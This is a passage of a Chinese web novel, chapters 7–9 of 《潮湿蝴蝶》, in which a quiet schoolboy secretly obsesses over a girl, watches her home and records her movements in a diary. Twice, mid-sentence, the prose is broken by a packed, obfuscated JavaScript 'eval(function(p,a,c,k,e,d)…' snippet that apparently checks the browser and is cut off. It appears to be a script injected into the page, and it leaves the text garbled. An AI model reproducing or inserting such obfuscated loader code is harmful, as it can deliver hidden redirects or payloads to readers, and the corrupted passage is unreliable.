《潮湿蝴蝶》 7. 欲念 “打游戏啊,还能干什么?我哥有个比赛非拉着我……” 话说到一半,容艺突然想到什么,停下来,怔了会。 游赐不过是简单问了句话,可她却为什么会觉得紧张?还急着回答? 而且,从刚才到现在,她有提到过一个关于“网吧”的字眼么? 好像……没有吧? 不对,她确定没有。 那么他又是怎么知道的? “你怎么知道我去了网吧?” 容艺向来有话直说,从不藏着掖着什么。 她看向游赐。 少年骨性修颀,安静地站在门外。 他情绪很淡,面孔微侧着,黑色的碎发垂落,五官英挺隽邃,一半落在阴影里,显得分外清郁。 他没有立刻回答她的疑问。 像什么也没听到似的,修长的指节不疾不徐地转动钥匙。 “咔哒”一声,门锁开了。 他淡淡地朝她看一眼:“门开了。” 然后把钥匙还给她。 整个过程中,他和她的目光相错不过三秒。 以至于给人一种他根本不关心容艺的事情的错觉来。 就好像他刚刚的问句,只是一句再平常不过的寒暄罢了。 可容艺总觉得哪里怪怪的。一个不好的念头突然闪过她的心间。 她收了钥匙,利落地推开门,熟稔地按亮室内照明的灯光。 白炽灯跳了两下,噌地打亮。映出她和游赐的面庞。 游赐垂眸,正准备抬脚跟她进去。 可谁知少女却突然伸出手,一把按住门框,不让他进来。 少年低头,狐疑地看她一眼。 容艺仰起脸,面庞明媚干净,她一字一句道: “你还没回答我的问题。” 游赐目光落在她翕动的嘴唇上。 他开口说话,音色淡的像水:“猜的。” “猜的?”天底下哪有这么巧合的事。 容艺皱眉,显然是不相信这个答案。 她不是那种美而不自知的少女,恰恰相反,她知道自己很美。 并且,因为这张姣好的面庞,她也曾经被猥琐的人跟踪尾随过,给她留下过很深的阴影。 这些不好的回忆,历历在目,使得她警惕起来,上下打量了眼游赐。 少年就站在她面前,面孔柔和,没有一点攻击性,一身板正的校服穿在身上,给人一种“好学生”的气质。 容艺有些迟疑,因为她不得不承认,游赐确实长得格外斯文干净。 看起来……不太像会做这些事的人。 “你身上有很浓重的烟味。”游赐顿了下,慢条斯理地咬字,“合理猜测而已。” 说话间,他非但没躲避她的目光,反而还直凌凌地撞上去。 目光交叠在一起。 少年瞳色很淡,干净清澈。五官轮廓清隽,长相斯文矜贵。 电光火石间,容艺心跳踩漏一拍。眸光中闪过一丝慌乱,她很快地低头,装作若无其事地嗅了嗅自己身上的味道。 “烟味很重么?好像……还好吧?” 这话是她故意说的。 可隆隆的心跳声却并没有因此而掩盖下去。她不知道自己为什么会这么紧张慌乱。 是因为自己误解了他么? 还是,因为刚刚的对视? 但游赐的这个理由显然说服了她,她知道自己是想多了。 松了口气,再抬眸的时候,语调里多了几分压抑过的从容:“行吧。” 然后放开横挡着门框的手,允许游赐进来。 游赐低了下头,走进来,再抬起头的时候,眼神却晦涩了几分。 “你先坐会儿,我要去洗个澡。” 容艺有个雷打不动的习惯,就是每天晚上回到家以后,她第一件要做的事情便是洗澡。 游赐点了下头,没再看她,而是兀自偏过目光,安静地扫了眼室内唯一的那张椅子。 这张椅子显然年岁已久,椅身的油漆都脱落的差不多了。四个凳脚被磨得长短不齐,坐上去会晃。 容艺拿过睡裙,踢踏着拖鞋进了洗浴间,一把带上木门,发出沉闷的关门声。 洗浴间的木门隔音不好,没过一会儿就听见里面传出嘈杂的水声。 窗户没关紧,外面戚戚沥沥飘着梅雨,屋子内浸润着一股潮湿的霉味,间歇附带着一股清冽浓郁的栀子花的香气。 游赐长睫低垂,再一次细致地打量起容艺居住的环境来。 昨天已经很仔细地看过一遍了,但那还远远不够。 他迫切想要了解容艺更多的部分。 他想知道她的一切。 他想知道她今天是和谁去的网吧?又在网吧做了什么? 她居住的环境实在是太过简陋,一到下雨天就会弥散着一股发霉的气味,陈旧的衣柜传出朽木的味道,墙壁瓷砖上挂满流动的潮湿水珠,雨点敲打窗户,发出凄怆的响动。 这样的地方绝对不能长时间住下去,身体会吃不消的。 身体控制不住地颤抖,他觉得自己窥探的欲望太强烈。 他不喜欢这样的自己。可是一想到她受到什么委屈,亦或是和某个男人玩得很好,他就受不了。 他觉得自己是很喜欢容艺的。 但他的人生词典里根本就没有“爱”这个字眼。他不知道该怎么去表达自己对容艺的感情,所以一方面他只能压抑着,可另一方面他已经快压抑不住了,欲念的潮水随时都会吞没他。 而这种局面的缓解方案,无疑只有两个: 要么,就是立刻离开这里,离开伏海,回到他的平礼去,并且永远都不要再和她见面。 要么,就是占有她,让她也无可救药地爱上自己,彻底地独占她,酣畅淋漓地占据她的全部,并且永远不要分离。 恰这时,洗浴室的门开了。 水汽氤氲一片,容艺扎了个丸子头出来,有几缕。她有点口渴,于是走到另一边去,到了杯水喝。 行动间,她脚踝上的纤细红绳不受控制地晃动着。 游赐眼睛有点红。 鸦睫垂下一片阴翳。 看着她纤细的脚踝,他想,他知道该怎么选了。 容艺没留心到他,只是捏着水杯,仰脸喝了几口水。 喝完以后,她才想起家里还有个“客人”。 她扭头,看他一眼,举着水杯晃了晃,问:“你要喝水么?” 她和他算不上太熟,也只是随口一问缓解尴尬气氛罢了。 游赐缓缓抬眸,眼睛里闪过一丝猩红。轻舔了下嘴唇:“嗯。” 他确实有些渴了。 她没想到他居然会接她的茬。 错愕了一秒。 她俯身,找出个纸杯,盛了水,走过来,递给他:“给。” 游赐接过:“谢谢。” 还挺有礼貌,容艺轻嗤。 他慢条斯理地润湿嘴唇,喉结上下滚动。 这样一个长相斯文禁欲的人,一举一动却格外性感。 容艺收回目光。房间狭小逼仄,各种零碎的杂物堆在一起,都快走不过道了。洗干净手以后,她绕过那些堆砌的杂物,勉强坐回床上,整理好药物。 游赐喝完了水,她就叫他坐好,按照昨天的流程,继续给他换药。 比起前两日,他的伤口已经好了很多,隐隐有了愈合的迹象。 她换下绷带,看见他的伤口,不由得说:“你愈合能力不错,这都快结痂了,再过几天就可以好了。” 游赐听了她的话以后,情绪却没多大波澜。 其实他并不想那么快愈合。 换好药以后,她才发现游赐的手腕处不小心沾上了点药水。 她边收药物边说:“你去洗洗吧,手脏了。” 游赐看了眼手腕,上面果然沾着点紫色的药水。 容艺抬头,用下巴指了指洗浴室:“喏,去那儿洗。” 游赐轻握着手腕,起身,抬脚走到洗浴室前。 木门有些残破,轻薄的像一张纸。门缝下渗出些还没褪去的泡沫水来。 “灯在门后。” 说话间,容艺已经把所有药物都收拾完毕,像是怕游赐找不到开关似的,她又补了句。 “嗯。”游赐听见,轻应了声。 他推开木门,洗澡后的热气还没完全散去,挟带着容艺常用的沐浴露香气,扑面而来,与他撞了个正着。 潮热、清香,心莫名变得潮湿起来。 手指游弋在潮湿的墙壁瓷砖上,没一会儿,他就轻车熟路地找到了灯光开关。 轻轻一按,灯光亮起来。 狭小的洗浴间里,零零落落的挂钩上晾着些衣物。都是容艺换洗下来的。 里面有她今天穿过的那条红格子短裙。鲜红惹眼。 这条裙子游赐之前从没见她穿过,应该是新裙子。 当然……这些挂钩上,还挂着容艺换洗下来的内衣裤。 这些衣物上的水没有完全拧干,稀稀落落地往下滴水。 一滴一滴,潮湿又私密。 他没有多看,偏过目光去,拧开水龙头,水声汩汩冒出,似乎能冲淡此时尴尬的局面。 游赐一边洗手,一边能清楚地听见这些衣物往下淌水的声音。 一滴。一滴。一滴。 滴答。滴答。滴答。 他沉声,低头用力地搓着手腕上的污迹,洗了很久很久,直到把皮肤都搓红。 洗手台前的镜子上,结满潮热的水雾,弄得镜子朦朦胧胧。 在这片朦胧中,此时却恰好倒映出少年白瓷一般清隽的面庞。以及,不知道什么时候早已红透了的耳廓。 “你洗好了么?” 容艺在外面喊他,声音透过残破的木门传递进来。 听见容艺的催促,他才关掉水龙头。 眸子幽深至极,冷淡地看了眼发红的手腕。 他打开门准备出去。 而几乎是在他从洗浴室里出来的一瞬间,房间里的灯光突然跳了闸。 室内猛然坠入一片幽黑中。 “我靠,怎么突然停电了!” 眼前是一片狭深的黑,什么也看不见。 她没来由一阵心慌,心脏狂跳,声音有些颤抖:“喂,你还在么?” 很快,她就听到了他的回应。 少年音色很淡,他说:“我在。” 窗户没有关紧,夜风吹进来,带着栀子花清润的香气。月光浅淡,拂了一身。 在他开口的刹那,借着皎洁的月光,她看清楚了他的身影。 少年仍旧穿着那身黑白色系的校服,身形高瘦,站在她不远处的对面。 他对她又很轻地重复了一遍:“我在。” 她忽然就嗅到一股很浓烈的栀子花香。 不知怎么回事,听到他的回应后,她像吃了颗定心丸似的,心跳声一阵一阵地定下去。 “那就好。”她松了口气,紧靠着床沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看起来像串通好了,存心捉弄她似的。 窗外下了很久的雨终于停了,只剩下屋檐上的积水,时有时无地落下来,一滴两滴地敲打着窗台,发出静谧的声响。 游赐慢条斯理地把手擦干净,而后拎起书包。 身上那件校服的袖口随着他的动作翻上去一部分,露出一截紧实好看的手臂线条。 “你要走了么?” 容艺注意到他背书包的动作,她那双抓人的眼睛微抬起,问他。 “对。” “你昨天是怎么回去的?”容艺多嘴问了句。 “步行。”少年淡声道。 “要不要送送你?”恰好今天黎新言把新的电瓶车给她了。 游赐长睫微垂,清冷的眼眸中闪过一丝奇异的微光。但他顿了会,最后还是故作为难道:“还是不麻烦你了。” “行吧。”容艺见他这样说,也不多做客套。 她话音刚落,手机就震动起来。 踢踏着拖鞋走到床头,她一把捞过手机,看了眼备注“茹茹”,是沈欣茹打过来的,滑动接听后她习惯性地点开免提:“喂?” 对面沈欣茹的声音直喇喇地漏过来:“艺艺!” “你今天不住校啊?”沈欣茹是住校生,一般这个点她还在上晚自习。 “对!我来姨妈,肚子疼,晚上住家里,你今晚要不要来跟我一起睡啊?”沈欣茹不知道容艺家里还呆着个游赐,说话自然也没避讳。 容艺握着电话,看了眼游赐:“我待会跟你说,我这边还有事。” “别挂呀,我看了你哥朋友圈,好像说你要去参加个什么电竞比赛,盛锐是不是也要去来着?”沈欣茹纠缠着不让容艺挂电话,非要缠着她问到底。 游赐捕捉到这句话里的“盛锐”二字。行动放慢了些。 “对啊,他要去啊,你怎么老是提他?” 容艺看穿沈欣茹的小心思。 “废话,当然是因为他长得帅啊。”沈欣茹喝了口水,又问,“艺艺,你老实说,难道你不觉得他很帅吗?” 空气突然安静。 还没等容艺回答,游赐就轻咳嗽了声,声音不轻不重,刚好能被电话那头的沈欣茹听见。 她敏锐问道:“容艺,你房间里……有人么?我怎么好像听到……” “哦,是上次我撞到的那个人。” 游赐眉心微跳。 什么叫……那个人?听起来那么生疏。 “这样啊。”沈欣茹觉得有点尴尬,“那你先忙,忙完了再打给我。” “嗯,好。”容艺挂断电话。 游赐就站在她对面,气氛变得尴尬起来。 她挠了下头,主导着话题:“我们刚刚,说到哪儿了。” 白炽灯光下,游赐脸色有些白:“说到你送我回家。” “啊——”容艺这才想起来,刚刚确实是说到这了,“那么……” “那么就麻烦你了。” 游赐慢条斯理,咬字清晰。 容艺瞳孔不可置信地放大,脑袋缓缓冒出一个“?”。 奇怪,她怎么记得,明明某人在她接电话之前,说的是“不麻烦了”。 怎么接个电话的工夫,他就临时变卦了? 8. 雨夜 容艺家门口正对着那盏接触不良的路灯。 下过雨的夜晚,地面潮湿。 老化的灯光忽闪忽闪地跳着,明明灭灭地洒下暗淡的清辉。不太均匀地照在潮湿的青石板上,折射出亮晶晶的幽光。 她和游赐一前一后出了门,准备去停车的车棚找到电瓶车,然后顺路送他回去。 她走在前面,步调很轻快,路灯打下来,将她的身形凝缩成一个娇小的影子,落在潮湿的路面上。 游赐不动声色地跟在她身后,他个子高,步幅大。身影也同样被投落在地面。 随着走路的动作,地面上他们两个的影子有一下没一下地碰在一起,又很快分开。 他走快两步。 很快,他的影子就盖住了她的影子。 她娇小的影子被完完全全地笼罩在他的影子里。 换言之,就是容艺行走在他的影子里。 但她脚步轻快,一点也没发现影子的奥秘。只留给他一个背影。 雨后潮湿的夜晚,四周的一切都静谧。水汽氤氲,月亮长了毛,朦胧难辨。 她走在他前面,穿了那条宽松的睡裙。后颈处的皮肤露出,白净明晰。蝴蝶骨轻轻立着,她实在是太瘦了。 他晦涩地抬眸,目不转睛地盯着她的背影。 她其实很少像现在这样把头发扎起来。记忆里每次看她,她都喜欢披着头发。浅棕色的卷发,特别衬她的肤色。 她左手手臂上挎了个帆布包,里面装着几件衣服,看样子是准备去沈欣茹家留宿。 很快就到了车棚底下。 “拿一下。”容艺摘下帆布包,示意游赐帮她拎会儿。 游赐接过。 她低了下头,走进车棚里,找到黎新言借给她的那辆白色的小电瓶车。踩下立脚架,一手熟练地握车把,一手推着车身,将车子从车棚里移出来。 突然想到了什么似的,她又立起脚架,掏出车钥匙,打开坐垫下面的储存空间。从里面拿出一个白色的头盔,扔给游赐:“你把头盔带上。” 免得再磕了碰了,她可没有那么多钱去赔。 头盔随着她轻扔过来的动作在空中滑过一道细微的弧线。游赐轻扫了眼,敏捷地伸出左手接住。 带起一阵风。 他面色冷淡,额前的碎发像是风过林梢般,轻微地晃了晃。露出他几欲被碎发遮盖主部分的眼睛。 “我用不上。”他淡声说,“你戴着就行。” 他走过去,把头盔和帆布包一并还给她。 月光白的像盐,落在她白皙明媚的面庞上。 她眼睛弯着,饶有趣味地看他。 不错嘛,又拒绝她。 在容艺十七岁的生涯里,她恃美行凶惯了,几乎没有人可以抵御她的请求。 可游赐偏偏不一样。他好像天生就对她不感冒似的。 她睫毛轻颤了下,之前那些被拒绝的困惑和羞辱感浮上心间。 他越躲着她,她就偏越是要招惹她。 她还真就不信这个邪了。 “行。”她抓过帆布包,随手将它的带子绕在小电瓶车的后视镜柱上。而后又抬脚踢了下立脚架,两手握着把手,径直坐上去。 “头盔。”游赐捏着头盔,附带着提醒了一句。 他指节修长,是一双很干净很漂亮的手。月光下,恍若玉砌。 “没手了,戴不了。”容艺脸上带着嘲弄的笑,还特意下巴指了指自己握着车把手的双手,意思是说她现在没空去戴,“真是不巧啊,看来只能给你戴了。” 可话音刚落,令她没想到的是,下一秒,游赐的身影就骤然靠近。 随后头上一重,那个头盔就牢牢地戴在了她头顶。 “靠,你干什么?”容艺语气里带了几分愠恼,她没料到游赐居然会这样做。 他看起来浑身上下都透露着一股斯文孱弱的劲。 沉默着无言,修长的指节绕到她下颏。 在这顷刻间,她突然就嗅到他身上干净澄澈的味道。 “咔哒”一声,他抬手将头盔带子扣上:“戴好了。” 声音浅淡,一气呵成。没有任何情欲,简单干脆就如同打包一个物品似的。 容艺没了脾气。手不自然地抚上下巴处的头盔带。 上面还残剩着他手的温度。 月光太亮了,她沉着声往上看去。 黑白色系的校服下,露出一截冷白肤色的少年臂腕。年轻而有力。 心脏不知怎么回事,又猛烈地挑动起来。 她清了下嗓子,故作若无其事地拍了拍后座:“愣着干什么,上来啊,我送你回家。” 游赐抬眸,看了她一眼。 她很快缩回目光。 他往前走了两步,不太自然地跨坐上去。 这电瓶车是小型的,很窄。他低头看,两个人的身躯之间只留下一道缝。 月光下,她漂亮的后背就在他咫尺。 他喉结上下滑动。 “坐稳了么?” 透过后视镜,容艺可以看见少年展露出来的局促模样。 “好了。”他声音很轻。 容艺拧动车把手,小电瓶车加了速,借着惯性,他们有几次轻碰在一起。 自从上次车祸后,她都没怎么骑过车了。 好在她胆子大,没什么可怕的,所以也能稳稳上手。 “你家在哪儿?”容艺问。 车开起来以后,夜风呼呼往后吹,有点凉。他坐在她身后,能轻易嗅到她身上沐浴后的香气。 小镇歇息得早,四周都是黑黝黝的,沿街只有少数零星几盏路灯。 游赐随便扯了个附近的地名。 篁蕴公馆在城郊,那边太偏僻,容艺一个人回来他不放心。 再者说……他也有自己的心思。 他暂时还不太想让容艺知道他住在哪里。 “那还挺近的。”容艺又问,“你吃过晚饭没?” 每次她回家的时候,他都已经在她家门口等着她了。 “不要紧。” 言下之意是没吃。 游赐在回答这问题时也很有技巧性,他并没有直接回答说“吃了”,亦或者是“没吃”,而是说了一句“不要紧”。 搞得容艺怪不好意思的。“你怎么不吃点再来?” “来不及吃。” 伏海三中放学时就已经五点半了,他几乎是一放学就步行至容艺家去等她。 他想见她。一刻不休的。 容艺却会错了意,揶揄道:“这么忙的么?” 说话间,容艺已经开到了他说的那个地儿。 她刹住车:“到了。” 游赐从车上下来。 “我走了啊,”容艺看他一眼,“明天记得吃过饭再来找我。” 说完以后,她转了个方向,拧动车把手,头也不回地开走了。 初夏夜晚微凉,游赐静默着站在原地,意味深长地凝眸。 - 容艺调转车头,一溜烟儿地朝着另一个方向驶去。 长风吹动她单薄的睡裙,皮肤上起了一层鸡皮疙瘩。 她有点儿心不在焉。思绪还停留在游赐身上。 沈欣茹家位于小镇最热闹的中心,她妈妈姓赵,叫赵兰,是个开超市的。 容艺骑车到小赵超市门口的时候,她妈正在拉卷闸门。 一看见容艺,赵兰脸上闪过一丝不悦,立马加速了手中的动作。 偏这时,沈欣茹在二楼也看见了容艺,她冲着下面叫了一声:“艺艺!” 然后飞速下楼去找她。 赵兰心底暗骂一声“死小兔崽子”,平日里也不知道说过多少次了,叫她不要跟这个晦气的扫把星一起玩,可这死丫头就是不听。 路过一楼的时候,赵兰一把扯过她,用只有他们两人听得到的声音告诫沈欣茹:“大晚上的到哪儿去,给我回去睡觉!” “妈,我哪儿也不去,我找艺艺。”沈欣茹不喜欢她妈限制她交朋友的自由,不大高兴地挣脱她妈的手,嘟囔了一句,“你弄痛我了。” 容艺已经停好车走近了。她一手拎着个帆布袋子,叫了赵兰一声,语气少有地显出对长辈的恭敬和柔和:“赵阿姨。” 赵兰到底是个做生意的商人,容艺走近了以后,她立刻又换了一副脸色,和颜悦色道:“哎呀小容啊,怎么这么晚了还来找我们家茹茹玩啊?” 容艺面带微笑,点了下头:“想茹茹了,来看看她。” “跟我来,去我房间。”沈欣茹牵过容艺的手,一点话也没让容艺和赵兰多说。两人绕过赵兰,径直上了楼梯。 赵兰手扶在卷闸门上,朝她们看了一眼,脸色很不好看。 “什么晦气玩意儿也往家里带!”她低低地诅咒了一句。 小镇上的人都知道容艺她妈的事,也知道容艺成绩差、爱混的事。虽然她家沈欣茹成绩在伏海三中平平无奇,但她却仗着自己开了个小超市,有股自带的优越感,一点儿也瞧不上容艺一家。 “一天到晚的,偏好的不学学坏的!哎!真让我操心!”赵兰脸色难看到极点,用力地将卷闸门一拉到底。 - “你妈……没事吧?” 进了房间,容艺把帆布包放在一边。她虽然性子大大咧咧,没什么遮拦,但其实内心很是敏感。显然她刚刚已经注意到了赵兰不悦的脸色。 “不用管她,我妈她就这样。”被这么一搞,沈欣茹心情也有点跌宕,她抓过容艺的手,“艺艺,你别往心里去。” 容艺宽慰一笑,睫毛又浓密又卷翘:“我根本没放在心上。” “那就好。”沈欣茹招呼容艺坐到她床上去,“新换的床单,怎么样,好看不?” 容艺抬手摸了摸,这被单虽然粉嫩,但是质感还算不错。 “坐我身边来。”沈欣茹递给容艺一个靠枕。 容艺接过来,正准备上床的时候,窗外却突然毕毕剥剥地跳起雨来。 沈欣茹不耐烦地下床关窗户,语气里半是抱怨半是不满,“天天下雨,下个没完了!我都要变成蘑菇了。” 关完窗户以后,她又想起什么,问容艺:“对了,艺艺,你现在还住在你爸那个老房子里么?” 容艺抱着靠枕,点了下头:“对啊,还住那。” 沈欣茹不可思议道:“我靠!你怎么能住的下去的啊,那房子那么潮湿。” 容艺是去年才搬到那房子里一个人住的。不是梅雨季节倒还好,一到梅雨季节,那儿简直没法儿住人。 沈欣茹去过两回,回回都受不了。 “那有什么办法。”容艺坐到沈欣茹新换的床单上去。新换的床单干净又舒服,她刻意留心了点,怕把被子弄皱。 “你明天也住我家吧,我妈她也只是装装样子,奈何不了我的。” 容艺轻笑了声:“我又不是沦落到要住桥洞了。放心,我那儿住的还挺习惯的。” “可你不是老膝盖疼么?” 沈欣茹和容艺是伏海三中同个班的,久坐前后桌,容艺上学那阵,时常会说腿疼得受不了。 容艺没再继续那个话题,而是刻意把话题引到别处上去:“你今天打电话来,不是问我觉得盛锐帅不帅吗?” 她不想要让任何人替她担心。她会有负担。 沈欣茹果然思路被带偏,她傻笑了一声,咬着手指道:“对啊,你觉得帅不帅啊?” “我觉得……还可以吧。”容艺没什么波澜道。 “我天!你居然不觉得他帅!”沈欣茹简直受到了天大的震撼,“我第一次见到他的时候都惊呆了,感觉他骨子里有股迷人的拽劲儿。” 容艺眼睛看着下雨的窗外,心不在焉地听着沈欣茹说话,她莫名想到了游赐。 也不知道他到家了没有。 “容艺,你在听吗?”沈欣茹伸手在她面前晃了晃。 “听了。”容艺从窗外收回目光,转头看向沈欣茹。沈欣茹最近奇怪的很,总是张口闭口提起这个盛锐,她想到了什么,直白地问,“茹茹,你老实说,你是不是喜欢盛锐啊?” 沈欣茹脸一下子蹿红,结结巴巴地否认道:“哪有,我……我就是看到你哥朋友圈里面有他。” 容艺潮湿的眼睛弯了弯:“茹茹,你完啦。” “才没有!”沈欣茹硬生生地扭转话题,“对了,我今天打电话给你的时候,好像听到了……” “哦,那是上次替我挡木架的那个,”容艺顿了下,“他手不是受伤了么,得每天换药包扎。于是我就让他来我家,我给他换,你给我打电话的时候,他刚好在。” “是他啊。”沈欣茹头枕着靠枕,打了一个长长的哈欠,“我还以为谁呢,是他我就放心了。” 容艺闻言,顿了下,一缕长碎发刚好垂落下来,她不动声色地将它绕到白皙的耳后去,语气有点摸不透,“什么叫‘是他你就放心了’?” 沈欣茹傻笑:“我都认识你多少年了啊,容艺,你喜欢什么类型的,我还不知道啊?” 喜欢什么类型的? 容艺歪着脑袋,扪心自问了会。 她还真说不上来。平日里她虽然会随口夸某某某长得帅,但是……要说喜欢,她也不见得有多喜欢。 比起喜欢别人,她似乎……更喜欢自己。 她看着沈欣茹,愿闻其详道:“茹茹,你说说看,我到底,喜欢什么类型的?” 沈欣茹被她这个问题问题惹得发笑,她捂着肚子笑了会,然后才勉强道:“你么,你当然喜欢帅的啊,这不是废话嘛哈哈哈。” 容艺心跳了下,又反问道:“游赐他……我是说,那天那个人,长得不帅么?” 她还记得木架崩塌之前,他像救世主一般,突然出现在她面前。大雨簌簌在落,她从惊恐中抽身,看见了他的面孔。 肤色很白,近乎冷感的白,五官英挺,带着几分禁欲斯文的干净气。他不喜欢笑,反正至少认识到现在,她从没见他笑过。一身黑白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魏山南和柳曼秀没有举行正式的婚礼,只是简单扯了张证,一是小镇人多口杂,柳曼秀不想太高调,免得让人议论了去。二是魏山南实在太穷了,就算他执意要办婚礼,柳曼秀也不让。 婚礼那天,请了两桌客,其中有一桌还没坐满。 所以后来离婚以后,魏山南想到这件事总会想不开。他总说他欠了曼曼一场婚礼,他对不住她。 魏山南那时虽贫困,但踏实肯干。早餐店其实很累人,但魏山南每天都按时按点的起。柳曼秀也就看中了这点,再加上他一米八三的大高个,人虽糙了点,相貌却很周正,便毅然决然地嫁了。 在魏山南家的日子虽然窘迫,但容艺却过得还算开心,魏山南把她当亲生女儿来疼。 为了方便早起做生意,魏山南在面馆上层搭了个小隔间,歇夜的时候,就睡在上面。 容艺第一次来他家,就是睡在那上面。上面空间很窄,没有床,只有一卷单薄的床铺。由于太低矮,只能勉强躬着身子,稍有不注意,就会撞到头。 隔间没有窗户,油烟气久久不能散去,闷热又压抑。 面对沾满污垢的墙壁,那是她第一次认床,也是第一次失眠。 都说贫贱夫妻百事哀,魏山南和柳曼秀的婚姻只持续了两年。离婚是柳曼秀提的。魏山南眼睛有点红,但最终还是什么也没说。 离婚后没过多久,柳曼秀就又带着容艺风风火火地嫁给了黎淳。和魏山南不同,黎淳虽没个正经工作,但好在运气不坏,凭借着拆迁得了三套房,日常就靠着收租,过得倒也滋润。 容艺第一次见到他的时候,他穿着一身西装。笑吟吟地跟她伸手打招呼:“哎呀,这就是艺艺吧,小姑娘长得真好看。” 容艺那时已经大了点,不再像第一次见到魏山南那样局促。没握他的手,只是礼貌地笑:“黎叔叔好。” 黎淳手尴尬地悬停在半空,脸上闪过一丝不悦,但强忍着没有发作。他朝里屋喊:“新言,还不快出来见见你阿姨和妹妹!” 没人理他。 他更气愤了点。 快步走到里屋,推开房门:“小兔崽子,叫你半天不应,干嘛呢?” “吵死了。烦不烦?”一个明显处在青春叛逆期的少年声线。 容艺饶有兴味地看过去。 一个戴着耳机的少年出来关门。目光猝然与她对视。 她游刃有余地展开一个熟稔勾人的笑:“嗨,哥哥?” 黎新言皱了下眉。 那是她和黎新言的第一次见面,不算太愉快。 那个时候的黎新言绝对想不到自己拽了十七年的臭脾气,会一次又一次地在这个少女面前跌破底线。 他没什么好气地把门重带上,还顺带着毫不客气地拧了门锁:“少烦。” 黎淳啐了一声:“跟谁学的臭脾气。”说完以后,就意识到家里还有别人在,于是又换了副嘴脸,笑着对容艺和柳曼秀说,“渴了么,我去给你们弄杯茶。” 不知道为什么,她第一眼见到黎淳的时候,就喜欢不起来。 总觉得他那一身西装分外违和。 同样的,她在黎淳家的第一晚也失了眠。 黎家的生活条件要远在魏家之上,床垫软的要命。可容艺却翻来覆去睡不着。 第六感告诉她黎淳绝非善类。 后来她的第六感也果真应验,黎淳好赌,是个伪君子,把那三套房输了个一干二净。之后就天天用酒精麻痹自己,借着打柳曼秀出气。 而与此同时,魏山南的小面馆生意却越做越好,小面馆也慢慢扩张,变成大面馆,之后又变成小饭店,小饭店又扩大,成了大饭店,之后大饭店开了分店,成了明晃晃的酒楼。 想到这儿,容艺轻叹了口气,兀自翻了个身。 沈欣茹睡得很熟,她明天还得早起去上课,容艺动作刻意放轻了些,生怕弄醒她。 现在她面朝着窗户,窗沿外面雨点在敲打,有一阵没一阵地落在玻璃床上。 她闭着眼睛,直到凌晨三点左右才隐约有了点睡意。 她做了个很奇怪……的梦。有关游赐。 梦里面,他垂着手站在她的床边,他没穿校服,而是换了件白色的宽松背心,露出好看紧实的肌肉线条,和平时完全是两个人。 雨下的很大,几乎快要将这座破旧的小平房完全覆灭。墙面上浸润着潮湿的水珠,室内空气闷热潮湿。 就连他的发梢都是湿的。 他轻张着嘴,慢条斯理地咬字:“太潮湿了。” 没有主语。语意指向暧昧不清。 容艺盯着他的脸,没来由一阵心悸:“这儿有什么的,比这破烂的房子我都住过。” 饶是这么说,她还是莫名觉得慌乱。 起身去推窗户,想要让风进来一点。 却发现,窗户被锁死了。 她拍打着窗户,水珠哗哗落下,砸在玻璃上,发出乒乒乓乓的声响。 回头再看游赐的时候,他还是站在那,手上打着绷带,潮湿的黑色碎发遮过眼睫,有一部分向下刺着眼睑。 他肤色冷白,带着一种病态极端的消极。 容艺觉得自己在出汗。 她看向他。 一片胀热潮湿中,他轻撩起眼皮,一字一顿地反声诘问:“真的不喜欢我么?” 9. 褶皱 与此同时的篁蕴公馆别墅区。 少年洗浴完毕,推开起雾的玻璃门。他发梢潮湿,还在向下淌水。一张面容清隽斯文,眸色很冷,没有多余的情绪。 手机系统自带的铃声在响。 游赐边喝水边捏起手机。 漆黑的屏幕上亮起那个“温”字。 他修长的指节在屏幕上点了下,滑动接听。 “祖宗啊,你总算接电话了。” 对面是温书颖的声音,她虽然没比游赐大几岁,但却是他名义上的小姨。 游赐不紧不慢地喝完水,坐回到书桌前。 他心不在焉地听,手指却抽出一本泛黄的牛皮本。今天的记录还没写。 “你什么时候回平礼啊,祖宗。”温书颖剔了剔新做的美甲,看上去满意极了,“你该不会打算一直待在那个十八线小县城吧?” “到底要说什么。” 房间里只点着一盏睡眠灯,光线并不充裕,外面在下雨,游赐看了眼窗户,窗幔在起起落落地飞。 他一向对人对物缺乏耐心。 除了容艺。 “……给我收收你那个少爷脾气。”温书颖被噎了一嘴,然后才扯回正题,“你外公外婆想你的很,有什么时间就多回来看看吧。” “再说。” 游赐喉结上下滑动,“挂了。” 当年他母亲温书颜执意要嫁给游铭,几乎是跟母家断绝了来往。 这些年温父温母年纪稍长,小女儿温书颖又迟迟没有结婚,老人家深感萧条,才想起这么个外孙来。 所以游赐对他们其实并不亲。 “等会!别挂!一天到晚联系不上个人,好不容易接一次电话挂那么快干嘛?你是真想把你小姨气死啊?” 温书颖捏了捏眉心,有点头痛,“我姐脾气那么好的一个人,怎么生了你这么个臭脾气。” 吐槽归吐槽,温书颖接着说:“你知不知道游铭要再婚的事啊?” “知道。”灯光映在游赐眼睛里面,折射出冰冷的色泽,“他的事情,我管不着。” “……” 温书颖还要说什么,电话却已经被挂断。 她自小就是被泡在蜜罐里长大的小公主,有着温父温母全心全意的宠爱,敢这样给她脸色看的,恐怕除了游赐以外,找不出第二个了。 她实在想不明白游赐为什么要放着好好的平礼不待,非要待在那个潮湿杂乱的小破城市。改天空了,她一定要亲自过去看看。 挂断电话以后,游赐随手将电话扔在一边。 他目光垂着,打着绷带的手轻按住牛皮本,将它摊开按平。 本子已经有了些年岁,是他来到伏海镇买的第一件文具。 纸张因为写的字太多太用力而起着凹凸不平的褶皱。 他翻到崭新的一页。 受伤的是右手,虽然有在慢慢恢复,但是捏笔写字还不是很方便。握着钢笔的时候,手心还是会因为牵扯而传来细密的疼痛。 他睫毛垂着,闭着眼睛想了会。 提笔开始写: 5月24日。雨。 她今天穿了一条之前没见过的裙子。红色格子。……很衬她。 扎了丸子头,也好看。 身上有陌生的香烟味道。她说是要去参加一个电竞比赛。 ……她和朋友在聊别的人。又是那个人。 字迹写到这里突然停顿住。 墨水氤氲开来。黑色的,晕开在泛黄的旧纸页上,很刺眼。 写不下去了。 